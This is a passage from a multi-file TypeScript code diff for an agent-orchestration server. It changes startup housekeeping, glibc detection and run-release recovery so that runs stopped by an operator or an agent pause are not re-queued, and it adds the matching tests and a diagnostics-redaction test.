const runStartupHousekeeping = async () => {
|
||||
const step = (name: string, work: () => Promise<unknown>) =>
|
||||
work().catch((err: unknown) => {
|
||||
logger.error({ err, startupStep: name }, "startup housekeeping step failed");
|
||||
});
|
||||
await step("custom_image_setup_cleanup", async () => {
|
||||
const setupCleanup = await environmentCustomImages.cleanupExpiredSetupSessions();
|
||||
if (setupCleanup.timedOut > 0 || setupCleanup.failed > 0) {
|
||||
logger.warn({ ...setupCleanup }, "startup environment customImage setup cleanup changed sessions");
|
||||
}
|
||||
});
|
||||
await step("tool_connection_health", async () => {
|
||||
const toolHealthSweep = await tools.sweepConnectionHealth();
|
||||
if (toolHealthSweep.failed > 0) {
|
||||
logger.warn({ ...toolHealthSweep }, "startup tool connection health sweep found failing connections");
|
||||
}
|
||||
});
|
||||
await step("decision_expiry", () => decisionExecutor.sweepExpired());
|
||||
// A login sandbox that outlived a server restart is deleted before timer
|
||||
// ticks start.
|
||||
await step("adapter_login_reaper", () => adapterLoginReaper.sweep().then(logAdapterLoginReaperResult));
|
||||
// A setup-token login sandbox lease that outlived a server restart
|
||||
// releases before timer ticks start.
|
||||
await step("setup_token_reaper", () => setupTokenReaper.sweep().then(logSetupTokenReaperResult));
|
||||
// Retry any orphan sandbox teardown left by a failed acquire before a
|
||||
// server restart, so a leaked sandbox does not stay allocated.
|
||||
await step("environment_lease_cleanup", () => runEnvironmentLeaseCleanupSweep(0));
|
||||
await step("retention_sweep", runRetentionSweep);
|
||||
};
|
||||
|
||||
startHeartbeatSchedulerInterval(() => {
|
||||
const startHeartbeatScheduler = () => startHeartbeatSchedulerInterval(() => {
|
||||
// Track the outer async callback as well as the work it starts. Shutdown
|
||||
// can then wait through an already-running suppression check before it
|
||||
// captures the authoritative set of running heartbeat rows.
|
||||
@@ -1851,12 +1856,15 @@ async function startServerWithDatabaseTeardown(
|
||||
logger.error({ err }, "heartbeat scheduler tick failed");
|
||||
}));
|
||||
});
|
||||
trackHeartbeatSchedulerWork(runStartupHousekeeping().then(() => {
|
||||
if (!heartbeatSchedulerStopped) startHeartbeatScheduler();
|
||||
}));
|
||||
} else {
|
||||
// The heartbeat scheduler is disabled, but the orphan-sandbox cleanup sweep
|
||||
// is still required. A failed acquire can leak a paid provider sandbox, so
|
||||
// this path retries the teardown at startup and on the interval, exactly as
|
||||
// the enabled path does.
|
||||
await accountingHeartbeat.reconcileCostAccounting().catch((err) => logger.error({ err }, "Cost accounting recovery failed; pending receipts will retry"));
|
||||
await timeStartupRecovery("accounting", () => accountingHeartbeat.reconcileCostAccounting()).catch((err) => logger.error({ err }, "Cost accounting recovery failed; pending receipts will retry"));
|
||||
await runEnvironmentLeaseCleanupSweep(0);
|
||||
startHeartbeatSchedulerInterval(() => {
|
||||
trackHeartbeatSchedulerWork(accountingHeartbeat.reconcileCostAccounting().catch((err) => logger.error({ err }, "Cost accounting recovery failed")));
|
||||
|
||||
@@ -1,17 +1,39 @@
|
||||
import { execFile } from "node:child_process";
|
||||
import { paperclipRunnerSupportsPlatform } from "@paperclipai/shared";
|
||||
|
||||
export function localAgentRunnerTarget(): { driver: "local"; platform: NodeJS.Platform; architecture: string; libc?: "glibc" | "unknown"; glibcVersion?: string } {
|
||||
if (process.platform !== "linux") return { driver: "local", platform: process.platform, architecture: process.arch };
|
||||
let libc: "glibc" | "unknown" = "unknown";
|
||||
let glibcVersion: string | undefined;
|
||||
type LocalRunnerTarget = {
|
||||
driver: "local";
|
||||
platform: NodeJS.Platform;
|
||||
architecture: string;
|
||||
libc?: "glibc" | "unknown";
|
||||
glibcVersion?: string;
|
||||
};
|
||||
|
||||
async function detectLocalRunnerTarget(): Promise<LocalRunnerTarget> {
|
||||
const target: LocalRunnerTarget = {
|
||||
driver: "local", platform: process.platform, architecture: process.arch,
|
||||
};
|
||||
if (target.platform !== "linux") return target;
|
||||
target.libc = "unknown";
|
||||
try {
|
||||
const { header } = process.report.getReport() as { header?: { glibcVersionRuntime?: unknown } };
|
||||
if (typeof header?.glibcVersionRuntime === "string" && header.glibcVersionRuntime.trim()) {
|
||||
libc = "glibc";
|
||||
glibcVersion = header.glibcVersionRuntime.trim();
|
||||
const stdout = await new Promise<string>((resolve, reject) => {
|
||||
execFile("getconf", ["GNU_LIBC_VERSION"], {
|
||||
encoding: "utf8", timeout: 1_000, killSignal: "SIGKILL", maxBuffer: 1_024,
|
||||
}, (error, output) => error ? reject(error) : resolve(output));
|
||||
});
|
||||
const version = /^glibc\s+(\d+\.\d+(?:\.\d+)?)$/.exec(stdout.trim())?.[1];
|
||||
if (version) {
|
||||
target.libc = "glibc";
|
||||
target.glibcVersion = version;
|
||||
}
|
||||
} catch { /* An unidentified libc must not select a GNU/Linux binary. */ }
|
||||
return { driver: "local", platform: process.platform, architecture: process.arch, libc, ...(glibcVersion === undefined ? {} : { glibcVersion }) };
|
||||
} catch {}
|
||||
return target;
|
||||
}
|
||||
|
||||
const localTarget = await detectLocalRunnerTarget();
|
||||
|
||||
export function localAgentRunnerTarget(): LocalRunnerTarget {
|
||||
return { ...localTarget };
|
||||
}
|
||||
|
||||
export function localPaperclipRunnerSupported(): boolean {
|
||||
|
||||
@@ -3,7 +3,14 @@ import express, { type Request } from "express";
|
||||
import request from "supertest";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import type { Db } from "@paperclipai/db";
|
||||
import { authUsers, companies, companyMemberships, instanceSettings, instanceUserRoles } from "@paperclipai/db";
|
||||
import {
|
||||
authUsers,
|
||||
companies,
|
||||
companyMemberships,
|
||||
instanceSettings,
|
||||
instanceUserRoles,
|
||||
principalPermissionGrants,
|
||||
} from "@paperclipai/db";
|
||||
import { actorMiddleware, cloudActorHeaderSourceFromHeaders, resolveCloudTenantActor } from "./auth.js";
|
||||
import { idleAdmissionMiddleware, trackIdleRequestHandlers } from "./idle-admission.js";
|
||||
import { idleWorkSnapshot, startTaskDrain, stopTaskDrain } from "../services/task-admission.js";
|
||||
@@ -59,10 +66,14 @@ function createFakeDb(options: {
|
||||
return chain;
|
||||
},
|
||||
select: () => {
|
||||
if (options.selectThrows) throw new Error("select unavailable");
|
||||
return {
|
||||
from: (table: unknown) => ({
|
||||
where: (condition: unknown) => {
|
||||
// Role-default grant seeding reads existing grants first; keep that
|
||||
// read working so selectThrows exercises only the degradable reads.
|
||||
if (options.selectThrows && table !== principalPermissionGrants) {
|
||||
throw new Error("select unavailable");
|
||||
}
|
||||
selectWheres.push({ table, condition });
|
||||
const rows =
|
||||
table === instanceSettings && settingsRow
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { isOperatorStoppedRunRow } from "./postgres.js";
|
||||
|
||||
describe("isOperatorStoppedRunRow", () => {
|
||||
it.each([
|
||||
[{ status: "cancelled", errorCode: "cancelled", resultJson: { cancelledByActorType: "user" } }, true],
|
||||
[{ status: "cancelled", errorCode: "cancelled", resultJson: { cancelledByActorType: "board" } }, true],
|
||||
[{ status: "cancelled", errorCode: "agent_paused", resultJson: null }, true],
|
||||
[{ status: "cancelled", errorCode: "operator_interrupted", resultJson: {} }, true],
|
||||
[{ status: "cancelled", errorCode: "cancelled", resultJson: { stopReason: "cancelled" } }, false],
|
||||
[{ status: "cancelled", errorCode: "issue_terminal_status", resultJson: null }, false],
|
||||
[{ status: "cancelled", errorCode: "cancelled", resultJson: { cancellation: {
|
||||
source: "operator", expected: true, initiator: { type: "user" }, reason: "Stop", recordedAt: "2026-10-15T06:00:00Z",
|
||||
} } }, true],
|
||||
[{ status: "cancelled", errorCode: "operator_interrupted", resultJson: { cancelledByActorType: "user", cancellation: {
|
||||
source: "queued_message", expected: true, initiator: { type: "user" }, reason: "New message", recordedAt: "2026-10-15T06:00:00Z",
|
||||
} } }, false],
|
||||
[{ status: "failed", errorCode: "agent_paused", resultJson: { cancelledByActorType: "user" } }, false],
|
||||
])("classifies %j as %s", (row, expected) => {
|
||||
expect(isOperatorStoppedRunRow(row as never)).toBe(expected);
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,5 @@
|
||||
import { isAcknowledgedNativeReassignmentStop, isAcknowledgedNativeStop } from "../../../services/acknowledged-native-stop.js";
|
||||
import { readRunCancellation } from "../../../services/run-cancellation.js";
|
||||
import { isCompletedOnboardingHandoffWake } from "../../../services/chat-completion-delivery.js";
|
||||
import { instanceSettingsService } from "../../../services/instance-settings.js";
|
||||
import { currentConversationCommentCondition } from "../../../services/agent-conversations.js";
|
||||
@@ -97,9 +98,23 @@ function toRunSnapshot(row: HeartbeatRunRow): RunSnapshot {
|
||||
responsibleUserId: row.responsibleUserId,
|
||||
contextSnapshot: parseObject(row.contextSnapshot),
|
||||
configurationIncompletePayload: Object.keys(configurationIncompletePayload).length > 0 ? configurationIncompletePayload : null,
|
||||
operatorStopped: isOperatorStoppedRunRow(row),
|
||||
};
|
||||
}
|
||||
|
||||
const OPERATOR_STOP_ERROR_CODES = new Set(["operator_interrupted", "agent_paused"]);
|
||||
|
||||
/** Mirrors recovery's `isOperatorCancelledRun`, plus agent pause, for the release-time recovery tail. */
|
||||
export function isOperatorStoppedRunRow(row: Pick<HeartbeatRunRow, "status" | "errorCode" | "resultJson">): boolean {
|
||||
if (row.status !== "cancelled") return false;
|
||||
const cancellation = readRunCancellation(row.resultJson);
|
||||
if (cancellation?.source === "queued_message") return false;
|
||||
if (cancellation?.source === "operator" && cancellation.expected) return true;
|
||||
if (row.errorCode && OPERATOR_STOP_ERROR_CODES.has(row.errorCode)) return true;
|
||||
const actorType = parseObject(row.resultJson).cancelledByActorType;
|
||||
return actorType === "user" || actorType === "board";
|
||||
}
|
||||
|
||||
function toIssueSnapshot(row: IssueRow): IssueSnapshot {
|
||||
return {
|
||||
conversationAgentId: row.conversationAgentId,
|
||||
@@ -1096,6 +1111,11 @@ export function createPostgresWakeQueueAdapter(db: Db, deps: WakeQueuePostgresAd
|
||||
sql`${agentWakeupRequests.payload}->>'issueId' = ${issueRow.id}`,
|
||||
)).limit(1)
|
||||
: [];
|
||||
const cancellation = readRunCancellation(run.resultJson);
|
||||
const queuedOperatorStop = run.runtimeMode === "legacy" && run.status === "cancelled" &&
|
||||
run.runtimeModeResolvedAt === null && run.startedAt === null && run.processStartedAt === null &&
|
||||
run.processPid === null && run.processGroupId === null &&
|
||||
cancellation?.source === "operator" && cancellation.expected;
|
||||
const preDrainFacts: PreDrainFacts = {
|
||||
issueRowPresent: issueRow !== null,
|
||||
executionRunIdMatchesRun: !issueRow || !issueRow.executionRunId || issueRow.executionRunId === run.id,
|
||||
@@ -1111,7 +1131,7 @@ export function createPostgresWakeQueueAdapter(db: Db, deps: WakeQueuePostgresAd
|
||||
executionCancellationAcknowledged:
|
||||
isAcknowledgedNativeReassignmentStop(run) ||
|
||||
(run.status === "cancelled" &&
|
||||
(parseObject(run.resultJson?.executionCancellation).state === "acknowledged" || isAcknowledgedNativeStop(run)) &&
|
||||
(queuedOperatorStop || parseObject(run.resultJson?.executionCancellation).state === "acknowledged" || isAcknowledgedNativeStop(run)) &&
|
||||
!interruptedQueue),
|
||||
};
|
||||
const preDrain = decidePreDrain(preDrainFacts);
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
import { agentWakeupRequests, agents, companies, createDb, heartbeatRuns, issues } from "@paperclipai/db";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "../../../__tests__/helpers/embedded-postgres.js";
|
||||
import { createReleaseIssueExecution } from "../application/use-cases.js";
|
||||
import { createPostgresWakeQueueAdapter } from "./postgres.js";
|
||||
|
||||
const support = await getEmbeddedPostgresTestSupport();
|
||||
const describePostgres = support.supported ? describe : describe.skip;
|
||||
|
||||
describePostgres("queued operator stop release", () => {
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
|
||||
beforeAll(async () => {
|
||||
database = await startEmbeddedPostgresTestDatabase("paperclip-queued-operator-stop-");
|
||||
db = createDb(database.connectionString);
|
||||
}, 20_000);
|
||||
|
||||
afterAll(async () => {
|
||||
await database?.cleanup();
|
||||
});
|
||||
|
||||
async function seed(input: { activeCycle?: boolean; source?: string; started?: boolean; selected?: boolean }) {
|
||||
const companyId = randomUUID(), agentId = randomUUID(), issueId = randomUUID(), runId = randomUUID();
|
||||
const originId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Stop regression", issuePrefix: `T${companyId.slice(0, 6)}`,
|
||||
defaultResponsibleUserId: "operator", requireBoardApprovalForNewAgents: false });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "Worker", role: "engineer", status: "active",
|
||||
adapterType: "codex_local", adapterConfig: {}, runtimeConfig: { heartbeat: { wakeOnDemand: true } } });
|
||||
await db.insert(issues).values({ id: issueId, companyId, title: "Stopped cycle", status: "in_progress",
|
||||
assigneeAgentId: agentId, responsibleUserId: "operator", originKind: "routine_execution", originId });
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, invocationSource: "on_demand", status: "cancelled",
|
||||
runtimeMode: "legacy", contextSnapshot: { issueId }, finishedAt: new Date(),
|
||||
...(input.started ? { startedAt: new Date(), runtimeModeResolvedAt: new Date() } : input.selected ? { runtimeModeResolvedAt: new Date() } : {}),
|
||||
resultJson: { ...(!input.started ? { executionRecovery: { kind: "bootstrap", providerWorkStarted: false },
|
||||
startupCancellation: { requestedAt: new Date().toISOString(), beforeNativeSelection: false } } : {}), cancellation: { source: input.source ?? "operator", expected: input.source !== "provider",
|
||||
initiator: { type: input.source === "provider" ? "provider" : "user", id: "operator" },
|
||||
reason: "Stopped", recordedAt: new Date().toISOString() } } });
|
||||
let activeCycleId: string | null = null;
|
||||
let activeRunId: string | null = null;
|
||||
if (input.activeCycle) {
|
||||
activeCycleId = randomUUID(); activeRunId = randomUUID();
|
||||
await db.insert(heartbeatRuns).values({ id: activeRunId, companyId, agentId, invocationSource: "on_demand", status: "running",
|
||||
contextSnapshot: { issueId: activeCycleId }, startedAt: new Date() });
|
||||
await db.insert(issues).values({ id: activeCycleId, companyId, title: "Current cycle", status: "in_progress",
|
||||
assigneeAgentId: agentId, originKind: "routine_execution", originId, executionRunId: activeRunId });
|
||||
} else {
|
||||
await db.update(issues).set({ executionRunId: runId, checkoutRunId: runId }).where(eq(issues.id, issueId));
|
||||
}
|
||||
const [wake] = await db.insert(agentWakeupRequests).values({ companyId, agentId, source: "automation", reason: "issue_commented",
|
||||
status: "deferred_issue_execution", payload: { issueId }, requestedByActorType: "user", requestedByActorId: "operator" }).returning();
|
||||
const release = createReleaseIssueExecution({
|
||||
issueLock: createPostgresWakeQueueAdapter(db, { resolveResponsibleUserId: async () => "operator",
|
||||
getRoutineEnv: async () => ({ routineId: null, env: null, responsibleUserId: null }), resolveSessionBeforeForWakeup: async () => null }),
|
||||
recovery: { escalateStrandedAssignedIssue: async () => { throw Error("Unexpected recovery"); },
|
||||
escalateStrandedRecoveryIssueInPlace: async () => { throw Error("Unexpected recovery"); } },
|
||||
});
|
||||
return { companyId, agentId, issueId, runId, wakeId: wake.id, activeCycleId, activeRunId, release };
|
||||
}
|
||||
|
||||
it.each([false, true])("preserves pending work after a pre-dispatch Stop (active cycle=%s)", async (activeCycle) => {
|
||||
const f = await seed({ activeCycle });
|
||||
const before = (await db.select().from(issues).where(eq(issues.id, f.issueId)))[0];
|
||||
const result = await f.release({ companyId: f.companyId, runId: f.runId, now: new Date() });
|
||||
expect(result).toEqual({ outcome: { kind: "released" }, postCommitEffects: [] });
|
||||
expect((await db.select().from(issues).where(eq(issues.id, f.issueId)))[0]).toMatchObject({ status: "in_progress",
|
||||
statusVersion: before.statusVersion, assigneeAgentId: f.agentId, executionRunId: null, checkoutRunId: null });
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.id, f.wakeId)))[0])
|
||||
.toMatchObject({ status: "deferred_issue_execution", runId: null });
|
||||
expect(await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.companyId, f.companyId))).toHaveLength(activeCycle ? 2 : 1);
|
||||
if (f.activeCycleId) expect((await db.select().from(issues).where(eq(issues.id, f.activeCycleId)))[0])
|
||||
.toMatchObject({ status: "in_progress", executionRunId: f.activeRunId });
|
||||
expect(await f.release({ companyId: f.companyId, runId: f.runId, now: new Date() })).toEqual(result);
|
||||
});
|
||||
|
||||
it("keeps ordinary provider cancellation promotion", async () => {
|
||||
const f = await seed({ source: "provider" });
|
||||
expect((await f.release({ companyId: f.companyId, runId: f.runId, now: new Date() })).outcome.kind).toBe("promoted");
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.id, f.wakeId)))[0].status).toBe("queued");
|
||||
});
|
||||
|
||||
it("does not replace stop acknowledgement for a dispatched run", async () => {
|
||||
const f = await seed({ started: true });
|
||||
expect((await f.release({ companyId: f.companyId, runId: f.runId, now: new Date() })).outcome.kind).toBe("released");
|
||||
expect((await db.select().from(agentWakeupRequests).where(eq(agentWakeupRequests.id, f.wakeId)))[0])
|
||||
.toMatchObject({ status: "deferred_issue_execution", runId: null });
|
||||
});
|
||||
|
||||
it("keeps the existing release path when runtime selection has occurred", async () => {
|
||||
const f = await seed({ selected: true });
|
||||
expect((await f.release({ companyId: f.companyId, runId: f.runId, now: new Date() })).outcome.kind).toBe("promoted");
|
||||
});
|
||||
});
|
||||
@@ -23,6 +23,12 @@ export type RunSnapshot = {
|
||||
configurationIncompletePayload: Record<string, unknown> | null;
|
||||
/** The host schedules failed conversation turns with its durable retry budget. */
|
||||
conversationContinuation?: boolean;
|
||||
/**
|
||||
* True when a person deliberately stopped this run: the board cancel route
|
||||
* (`resultJson.cancelledByActorType` of `user`/`board`), an operator interrupt,
|
||||
* or an agent pause. Release must not immediately re-queue such a run.
|
||||
*/
|
||||
operatorStopped?: boolean;
|
||||
};
|
||||
|
||||
export type IssueSnapshot = {
|
||||
|
||||
@@ -698,6 +698,37 @@ describe("releaseIssueExecution", () => {
|
||||
expect(queueCall.contextSnapshot).toBe(resolveCall.contextSnapshot);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["board cancel", { errorCode: "cancelled", operatorStopped: true }],
|
||||
["agent pause", { errorCode: "agent_paused", operatorStopped: true }],
|
||||
] as const)("does not re-queue or escalate a run a person stopped (%s)", async (_label, stop) => {
|
||||
// Regression: a board cancel of a queued wake re-created it as
|
||||
// issue_continuation_needed / issue_assignment_recovery within a second.
|
||||
for (const status of ["in_progress", "todo"]) {
|
||||
const transaction = createFakeTransaction();
|
||||
const recovery = createFakeRecovery();
|
||||
const release = createReleaseIssueExecution({
|
||||
issueLock: createFakeIssueLock(createFakeHost(), transaction, { ...ISSUE, status }, { ...RUN, status: "cancelled", ...stop }),
|
||||
recovery,
|
||||
});
|
||||
const result = await release({ companyId: RUN.companyId, runId: RUN.id, now: new Date() });
|
||||
expect(result.outcome.kind).toBe("released");
|
||||
expect(transaction.queueImmediateRecoveryRun).not.toHaveBeenCalled();
|
||||
expect(recovery.escalateStrandedAssignedIssue).not.toHaveBeenCalled();
|
||||
}
|
||||
});
|
||||
|
||||
it("still recovers a control-plane cancelled run that no person stopped", async () => {
|
||||
const transaction = createFakeTransaction();
|
||||
const release = createReleaseIssueExecution({
|
||||
issueLock: createFakeIssueLock(createFakeHost(), transaction, ISSUE, { ...RUN, status: "cancelled", errorCode: "cancelled", operatorStopped: false }),
|
||||
recovery: createFakeRecovery(),
|
||||
});
|
||||
const result = await release({ companyId: RUN.companyId, runId: RUN.id, now: new Date() });
|
||||
expect(result.outcome.kind).toBe("queued_recovery");
|
||||
expect(transaction.queueImmediateRecoveryRun).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws WakeQueueApplicationError with code responsible_user_unresolved for a recovery run, without queuing it", async () => {
|
||||
const transaction = createFakeTransaction();
|
||||
const host = createFakeHost({ resolveResponsibleUserId: vi.fn(async () => null) });
|
||||
|
||||
@@ -493,7 +493,13 @@ async function runReleaseRecoveryTail(
|
||||
input: ReleaseIssueExecutionInput,
|
||||
postCommitEffects: PostCommitEffect[],
|
||||
): Promise<ReleaseTransactionResult> {
|
||||
const suppressImmediateRecovery = input.suppressImmediateRecovery === true || Boolean(
|
||||
// A run a person deliberately stopped (board cancel, operator interrupt, agent
|
||||
// pause) is not stranded work. Re-queuing it here re-created the cancelled wake
|
||||
// within a second of the cancel (issue_continuation_needed / assignment_recovery),
|
||||
// and for a paused agent escalated the issue to `blocked`. The periodic sweep
|
||||
// already stands down for operator cancels; this keeps release consistent.
|
||||
const operatorStopped = run.status === "cancelled" && run.operatorStopped === true;
|
||||
const suppressImmediateRecovery = input.suppressImmediateRecovery === true || operatorStopped || Boolean(
|
||||
issue.conversationAgentId && issue.conversationUserId &&
|
||||
issue.conversationState === "waiting" && issue.status === "in_review"
|
||||
);
|
||||
|
||||
@@ -7401,6 +7401,8 @@ export function agentRoutes(
|
||||
.select({
|
||||
id: heartbeatRuns.id,
|
||||
runtimeMode: heartbeatRuns.runtimeMode,
|
||||
wakeupRequestId: heartbeatRuns.wakeupRequestId,
|
||||
queuedCommentSourceWakeIds: sql<string[] | null>`${heartbeatRuns.contextSnapshot} -> 'queuedCommentSourceWakeIds'`.as("queuedCommentSourceWakeIds"),
|
||||
status: heartbeatRuns.status,
|
||||
invocationSource: heartbeatRuns.invocationSource,
|
||||
triggerDetail: heartbeatRuns.triggerDetail,
|
||||
|
||||
@@ -305,7 +305,8 @@ export function instanceSettingsRoutes(db: Db, pluginWorkers?: PluginWorkerManag
|
||||
// The report covers every company in this process. Ordinary company
|
||||
// members may read process counters, but not instance-wide work state.
|
||||
assertCanManageInstanceSettings(req);
|
||||
const scheduledRoutines = req.query.scheduledWake === "1";
|
||||
const scheduledIssueMonitors = req.query.scheduledWake === "2";
|
||||
const scheduledRoutines = req.query.scheduledWake === "1" || scheduledIssueMonitors;
|
||||
if (scheduledRoutines && req.actor.source !== "cloud_control") {
|
||||
throw forbidden("Scheduled wake reports require Cloud control authority");
|
||||
}
|
||||
@@ -320,7 +321,7 @@ export function instanceSettingsRoutes(db: Db, pluginWorkers?: PluginWorkerManag
|
||||
const idleSleepSafety = await readIdleSleepSafety(db, () => heartbeat.getTaskDrainStatus(), Date.now,
|
||||
typeof req.query.ownerId === "string" ? req.query.ownerId : undefined,
|
||||
() => readIdleLocalWork({ backupCheckpoint: Boolean(prepareIdleDatabaseBackup) }),
|
||||
pluginWorkers?.inspectIdleSleep?.bind(pluginWorkers), prepareIdleDatabaseBackup, scheduledRoutines);
|
||||
pluginWorkers?.inspectIdleSleep?.bind(pluginWorkers), prepareIdleDatabaseBackup, scheduledRoutines, scheduledIssueMonitors);
|
||||
res.json({ ...heartbeat.getTaskDrainStatus(), idleSleepSafety });
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -23,7 +23,7 @@ import { queuedInteractionId, readQueuedInteractionResponse, hasQueuedInteractio
|
||||
import { deliverConversationComments, isConversation } from "../services/agent-conversations.js";
|
||||
import { issueRecoveryActionReadModel } from "../services/issue-recovery-actions.js";
|
||||
import { getExecutionBlocker } from "../services/execution-blocker.js";
|
||||
import { requiresExecutionReconciliation } from "@paperclipai/shared";
|
||||
import { EXECUTION_RECONCILIATION_CAUSES, requiresExecutionReconciliation } from "@paperclipai/shared";
|
||||
import {
|
||||
validateExecutionReconciliation,
|
||||
markExecutionReconciliation,
|
||||
@@ -39,7 +39,7 @@ import { createHash, randomUUID } from "node:crypto";
|
||||
import { Router, type Request, type Response } from "express";
|
||||
import multer from "multer";
|
||||
import { z } from "zod";
|
||||
import { and, asc, desc, eq, inArray, isNull, notInArray, sql, type SQL } from "drizzle-orm";
|
||||
import { and, asc, desc, eq, inArray, isNull, notInArray, or, sql, type SQL } from "drizzle-orm";
|
||||
import type { Db } from "@paperclipai/db";
|
||||
import type { ChatChannelService } from "../services/chat-channels.js";
|
||||
import {
|
||||
@@ -283,6 +283,7 @@ import {
|
||||
ISSUE_BLOCKERS_RESOLVED_WAKE_REASON,
|
||||
buildIssueBlockersResolvedWakeStateKey,
|
||||
findExistingIssueBlockersResolvedWakeForReadyState,
|
||||
shouldWakeOnRestoredBlockedDependency,
|
||||
} from "../services/issue-dependency-wakeups.js";
|
||||
import { assertEnvironmentSelectionForCompany } from "./environment-selection.js";
|
||||
import {
|
||||
@@ -9503,8 +9504,11 @@ export function issueRoutes(
|
||||
});
|
||||
const retainedHolds = await db.select().from(issueRecoveryActions).where(and(
|
||||
eq(issueRecoveryActions.companyId, issue.companyId), eq(issueRecoveryActions.sourceIssueId, issue.id),
|
||||
sql`${issueRecoveryActions.evidence}->'workspaceRestoreRecovery'->>'schema' = ${LEGACY_WORKSPACE_RECOVERY_SCHEMA}`,
|
||||
sql`${issueRecoveryActions.evidence}->'automaticRecovery'->>'replay' = 'blocked'`,
|
||||
or(
|
||||
sql`${issueRecoveryActions.evidence}->'workspaceRestoreRecovery'->>'schema' = ${LEGACY_WORKSPACE_RECOVERY_SCHEMA}`,
|
||||
inArray(issueRecoveryActions.cause, [...EXECUTION_RECONCILIATION_CAUSES]),
|
||||
),
|
||||
)).orderBy(desc(issueRecoveryActions.createdAt));
|
||||
res.json({
|
||||
active,
|
||||
@@ -15645,12 +15649,15 @@ export function issueRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
const restoredBlockedReadyDependency =
|
||||
issue.status === "blocked" &&
|
||||
issue.assigneeAgentId &&
|
||||
(existing.status !== "blocked" ||
|
||||
Array.isArray(req.body.blockedByIssueIds) ||
|
||||
existing.assigneeAgentId !== issue.assigneeAgentId);
|
||||
const restoredBlockedReadyDependency = shouldWakeOnRestoredBlockedDependency({
|
||||
previousStatus: existing.status,
|
||||
nextStatus: issue.status,
|
||||
previousAssigneeAgentId: existing.assigneeAgentId ?? null,
|
||||
nextAssigneeAgentId: issue.assigneeAgentId ?? null,
|
||||
blockerSetEdited: Array.isArray(req.body.blockedByIssueIds),
|
||||
actorType: actor.actorType,
|
||||
actorAgentId: actor.agentId ?? null,
|
||||
});
|
||||
if (
|
||||
restoredBlockedReadyDependency &&
|
||||
typeof dependencyReadinessSvc.getDependencyReadiness === "function"
|
||||
|
||||
@@ -6857,7 +6857,7 @@ registry.registerPath({
|
||||
tags: ["instance"],
|
||||
summary:
|
||||
"Get the task-drain status for this process only; quiescent counts in-process work, and a process restart clears it even when the database still holds running rows",
|
||||
request: { query: z.object({ ownerId: z.string().uuid().optional(), idleSleepSafety: z.literal("1").optional().describe("Instance admins can request a conservative durable-work report while admission and ingress are held. Unknown or present work must prevent automatic sleep."), scheduledWake: z.literal("1").optional().describe("Cloud control callers may request an owned routine deadline report. Cloud must acknowledge a durable alarm and revalidate this report before stopping the instance.") }) },
|
||||
request: { query: z.object({ ownerId: z.string().uuid().optional(), idleSleepSafety: z.literal("1").optional().describe("Instance admins can request a conservative durable-work report while admission and ingress are held. Unknown or present work must prevent automatic sleep."), scheduledWake: z.enum(["1", "2"]).optional().describe("Cloud control callers may request routine deadlines (1), or routines and issue monitors (2). Cloud must acknowledge a durable alarm and revalidate this report before stopping the instance.") }) },
|
||||
responses: { 200: r.ok(), 401: r.unauthorized, 403: r.forbidden },
|
||||
});
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
import express from "express";
|
||||
import { Writable } from "node:stream";
|
||||
import request from "supertest";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
import {
|
||||
SETUP_TOKEN_SESSION_NOT_FOUND,
|
||||
@@ -465,9 +465,12 @@ async function settle(): Promise<void> {
|
||||
}
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
beforeAll(() => {
|
||||
vi.resetModules();
|
||||
registerModuleMocks();
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useOwner();
|
||||
// The default registry declares the Claude setup-token capability for
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { captureEnvironmentAcquisitionDiagnostic } from "../environment-acquisition-diagnostics.js";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { heartbeatRuns } from "@paperclipai/db";
|
||||
import { attachRemoteRunnerRecoveryDiagnostic, RemoteRunnerRecoveryError } from "../native-runtime/remote-runner-recovery-diagnostics.js";
|
||||
import { collectRunFailureDiagnostics, collectRunFailureSecretValues, redactRunFailureSecretValues, sanitizeRunFailureDiagnostics, sanitizeRunFailureText } from "../run-failure-diagnostics.js";
|
||||
|
||||
type Run = typeof heartbeatRuns.$inferSelect;
|
||||
@@ -190,6 +191,60 @@ describe("run failure diagnostics", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("exports only the closed vocabulary of an unclassified native turn failure", () => {
|
||||
const diagnostic = { provider: "codex", category: "turn_failed", codexErrorInfo: "responseStreamDisconnected", httpStatus: 502 };
|
||||
const result = sanitizeRunFailureDiagnostics(collectRunFailureDiagnostics(run({ resultJson: {
|
||||
nativeTurnFailure: { ...diagnostic, runnerFailureCode: "private_prompt_slug", message: "private-provider-response" },
|
||||
} }), {}));
|
||||
expect(result.provider).toEqual({ ...diagnostic, runnerFailureCode: "unrecognized" });
|
||||
expect(JSON.stringify(result)).not.toContain("rivate");
|
||||
for (const value of [null, [], { ...diagnostic, codexErrorInfo: "private-kind" },
|
||||
Object.defineProperty({}, "provider", { get() { throw new Error("private"); } })]) {
|
||||
expect(collectRunFailureDiagnostics(run({ resultJson: { nativeTurnFailure: value } }), {}).provider).toEqual({});
|
||||
}
|
||||
